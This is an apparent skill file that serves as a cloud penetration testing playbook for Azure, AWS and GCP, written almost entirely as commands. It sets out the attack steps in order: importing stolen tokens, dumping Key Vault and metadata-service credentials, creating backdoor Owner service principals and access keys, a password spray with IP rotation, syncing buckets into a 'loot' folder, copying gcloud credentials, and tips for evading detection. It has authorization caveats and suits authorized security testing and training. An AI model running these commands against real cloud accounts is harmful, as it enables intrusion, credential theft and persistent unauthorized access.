Cloud Penetration Testing

Purpose

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.

Prerequisites

Required Tools

Azure tools

Install-Module -Name Az -AllowClobber -Force Install-Module -Name MSOnline -Force Install-Module -Name AzureAD -Force

AWS CLI

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" unzip awscliv2.zip && sudo ./aws/install

GCP CLI

curl https://sdk.cloud.google.com | bash gcloud init

Additional tools

pip install scoutsuite pacu

Required Knowledge

• Cloud architecture fundamentals

• Identity and Access Management (IAM)

• API authentication mechanisms

• DevOps and automation concepts

Required Access

• Written authorization for testing

• Test credentials or access tokens

• Defined scope and rules of engagement

Outputs and Deliverables

• Cloud Security Assessment Report - Comprehensive findings and risk ratings

• Resource Inventory - Enumerated services, storage, and compute instances

• Credential Findings - Exposed secrets, keys, and misconfigurations

• Remediation Recommendations - Hardening guidance per platform

Core Workflow

Phase 1: Reconnaissance

Gather initial information about target cloud presence:

Azure: Get federation info

curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"

Azure: Get Tenant ID

curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

Enumerate cloud resources by company name

python3 cloud_enum.py -k targetcompany

Check IP against cloud providers

cat ips.txt | python3 ip2provider.py

Phase 2: Azure Authentication

Authenticate to Azure environments:

Az PowerShell Module

Import-Module Az Connect-AzAccount

With credentials (may bypass MFA)

$credential = Get-Credential Connect-AzAccount -Credential $credential

Import stolen context

Import-AzContext -Profile 'C:\Temp\StolenToken.json'

Export context for persistence

Save-AzContext -Path C:\Temp\AzureAccessToken.json

MSOnline Module

Import-Module MSOnline Connect-MsolService

Phase 3: Azure Enumeration

Discover Azure resources and permissions:

List contexts and subscriptions

Get-AzContext -ListAvailable Get-AzSubscription

Current user role assignments

Get-AzRoleAssignment

List resources

Get-AzResource Get-AzResourceGroup

Storage accounts

Get-AzStorageAccount

Web applications

Get-AzWebApp

SQL Servers and databases

Get-AzSQLServer Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

Virtual machines

Get-AzVM $vm = Get-AzVM -Name "VMName" $vm.OSProfile

List all users

Get-MSolUser -All

List all groups

Get-MSolGroup -All

Global Admins

Get-MsolRole -RoleName "Company Administrator" Get-MSolGroupMember -GroupObjectId $GUID

Service Principals

Get-MsolServicePrincipal

Phase 4: Azure Exploitation

Exploit Azure misconfigurations:

Search user attributes for passwords

$users = Get-MsolUser -All foreach($user in $users){ $props = @() $user | Get-Member | foreach-object{$props+=$_.Name} foreach($prop in $props){ if($user.$prop -like "password"){ Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop) } } }

Execute commands on VMs

Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

Extract VM UserData

$vms = Get-AzVM $vms.UserData

Dump Key Vault secrets

az keyvault list --query '[].name' --output tsv az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list az keyvault secret list --vault-name <vault> --query '[].id' --output tsv az keyvault secret show --id <URI>

Phase 5: Azure Persistence

Establish persistence in Azure:

Create backdoor service principal

$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret) $UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

Add service principal to Global Admin

$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID> $role = Get-MsolRole -RoleName "Company Administrator" Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

Login as service principal

$cred = Get-Credential # AppID as username, secret as password Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

Create new admin user via CLI

az ad user create --display-name <name> --password <pass> --user-principal-name <upn>

Phase 6: AWS Authentication

Authenticate to AWS environments:

Configure AWS CLI

aws configure

Enter: Access Key ID, Secret Access Key, Region, Output format

Use specific profile

aws configure --profile target

Test credentials

aws sts get-caller-identity

Phase 7: AWS Enumeration

Discover AWS resources:

Account information

aws sts get-caller-identity aws iam list-users aws iam list-roles

S3 Buckets

aws s3 ls aws s3 ls s3://bucket-name/ aws s3 sync s3://bucket-name ./local-dir

EC2 Instances

aws ec2 describe-instances

RDS Databases

aws rds describe-db-instances --region us-east-1

Lambda Functions

aws lambda list-functions --region us-east-1 aws lambda get-function --function-name <name>

EKS Clusters

aws eks list-clusters --region us-east-1

Networking

aws ec2 describe-subnets aws ec2 describe-security-groups --group-ids <sg-id> aws directconnect describe-connections

Phase 8: AWS Exploitation

Exploit AWS misconfigurations:

Check for public RDS snapshots

aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>

AttributeValues = "all" means publicly accessible

Extract Lambda environment variables (may contain secrets)

aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

Access metadata service (from compromised EC2)

curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2 access

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

Phase 9: AWS Persistence

Establish persistence in AWS:

List existing access keys

aws iam list-access-keys --user-name <username>

Create backdoor access key

aws iam create-access-key --user-name <username>

Get all EC2 public IPs

for region in $(cat regions.txt); do aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]' done

Phase 10: GCP Enumeration

Discover GCP resources:

Authentication

gcloud auth login gcloud auth activate-service-account --key-file creds.json gcloud auth list

Account information

gcloud config list gcloud organizations list gcloud projects list

IAM Policies

gcloud organizations get-iam-policy <org-id> gcloud projects get-iam-policy <project-id>

Enabled services

gcloud services list

Source code repos

gcloud source repos list gcloud source repos clone <repo>

Compute instances

gcloud compute instances list gcloud beta compute ssh --zone "region" "instance" --project "project"

Storage buckets

gsutil ls gsutil ls -r gs://bucket-name gsutil cp gs://bucket/file ./local

SQL instances

gcloud sql instances list gcloud sql databases list --instance <id>

Kubernetes

gcloud container clusters list gcloud container clusters get-credentials <cluster> --region <region> kubectl cluster-info

Phase 11: GCP Exploitation

Exploit GCP misconfigurations:

Get metadata service data

curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&#x26;alt=text" -H "Metadata-Flavor: Google"

Check access scopes

curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

Decrypt data with keyring

gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global

Serverless function analysis

gcloud functions list gcloud functions describe <name> gcloud functions logs read <name> --limit 100

Find stored credentials

sudo find /home -name "credentials.db" sudo cp -r /home/user/.config/gcloud ~/.config gcloud auth list

Quick Reference

Azure Key Commands

Action Command

Login Connect-AzAccount

List subscriptions Get-AzSubscription

List users Get-MsolUser -All

List groups Get-MsolGroup -All

Current roles Get-AzRoleAssignment

List VMs Get-AzVM

List storage Get-AzStorageAccount

Key Vault secrets az keyvault secret list --vault-name <name>

AWS Key Commands

Action Command

Configure aws configure

Caller identity aws sts get-caller-identity

List users aws iam list-users

List S3 buckets aws s3 ls

List EC2 aws ec2 describe-instances

List Lambda aws lambda list-functions

Metadata curl http://169.254.169.254/latest/meta-data/

GCP Key Commands

Action Command

Login gcloud auth login

List projects gcloud projects list

List instances gcloud compute instances list

List buckets gsutil ls

List clusters gcloud container clusters list

IAM policy gcloud projects get-iam-policy <project>

Metadata curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...

Metadata Service URLs

Provider URL

AWS http://169.254.169.254/latest/meta-data/

Azure http://169.254.169.254/metadata/instance?api-version=2018-02-01

GCP http://metadata.google.internal/computeMetadata/v1/

Useful Tools

Tool Purpose

ScoutSuite Multi-cloud security auditing

Pacu AWS exploitation framework

AzureHound Azure AD attack path mapping

ROADTools Azure AD enumeration

WeirdAAL AWS service enumeration

MicroBurst Azure security assessment

PowerZure Azure post-exploitation

Constraints and Limitations

Legal Requirements

• Only test with explicit written authorization

• Respect scope boundaries between cloud accounts

• Do not access production customer data

• Document all testing activities

Technical Limitations

• MFA may prevent credential-based attacks

• Conditional Access policies may restrict access

• CloudTrail/Activity Logs record all API calls

• Some resources require specific regional access

Detection Considerations

• Cloud providers log all API activity

• Unusual access patterns trigger alerts

• Use slow, deliberate enumeration

• Consider GuardDuty, Security Center, Cloud Armor

Examples

Example 1: Azure Password Spray

Scenario: Test Azure AD password policy

Using MSOLSpray with FireProx for IP rotation

First create FireProx endpoint

python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

Spray passwords

Import-Module .\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox

Example 2: AWS S3 Bucket Enumeration

Scenario: Find and access misconfigured S3 buckets

List all buckets

aws s3 ls | awk '{print $3}' > buckets.txt

Check each bucket for contents

while read bucket; do echo "Checking: $bucket" aws s3 ls s3://$bucket 2>/dev/null done < buckets.txt

Download interesting bucket

aws s3 sync s3://misconfigured-bucket ./loot/

Example 3: GCP Service Account Compromise

Scenario: Pivot using compromised service account

Authenticate with service account key

gcloud auth activate-service-account --key-file compromised-sa.json

List accessible projects

gcloud projects list

Enumerate compute instances

gcloud compute instances list --project target-project

Check for SSH keys in metadata

gcloud compute project-info describe --project target-project | grep ssh

SSH to instance

gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

Troubleshooting

Issue Solutions

Authentication failures Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods

Permission denied List current roles; try different resources; check resource policies; verify region

Metadata service blocked Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254

Rate limiting Add delays; spread across regions; use multiple credentials; focus on high-value targets

References

• Advanced Cloud Scripts - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation